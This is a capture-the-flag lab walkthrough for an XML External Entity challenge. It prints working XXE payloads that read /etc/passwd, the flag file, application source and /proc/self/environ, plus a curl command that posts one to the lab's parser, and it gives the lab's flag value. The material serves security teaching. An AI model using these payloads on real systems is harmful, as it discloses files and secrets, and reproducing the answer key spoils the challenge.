Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
XML External Entity (XXE) attacks exploit vulnerable XML parsers that process external entity references. This challenge features a corporate XML document parser with a critical XXE vulnerability that allows file disclosure attacks through external entity injection.
<target-ip>:80
to view the challenge presentation page<target-ip>:8080
The vulnerable parser implementation uses:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<document>
<title>XXE Test</title>
<content>&xxe;</content>
</document>
<target-ip>:8080
or send a POST request to /parse
Based on the challenge structure and common CTF patterns, the flag is located at /home/flag.txt
. This is confirmed by:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [
<!ENTITY flag SYSTEM "file:///home/flag.txt">
]>
<document>
<title>Flag Retrieval</title>
<content>&flag;</content>
</document>
curl -X POST -H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE document [<!ENTITY flag SYSTEM "file:///home/flag.txt">]><document><title>Flag Retrieval</title><content>&flag;</content></document>' \
<target-ip>:8080/parse
6d995aed-e420-4c06-9191-02513421c1a9
For further exploration and learning, you can test additional XXE vectors:
# Read application source code
<!ENTITY app SYSTEM "file:///app/app.py">
# Read system hosts file
<!ENTITY hosts SYSTEM "file:///etc/hosts">
# Read environment variables
<!ENTITY env SYSTEM "file:///proc/self/environ">
# Read process information
<!ENTITY cmdline SYSTEM "file:///proc/self/cmdline">
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.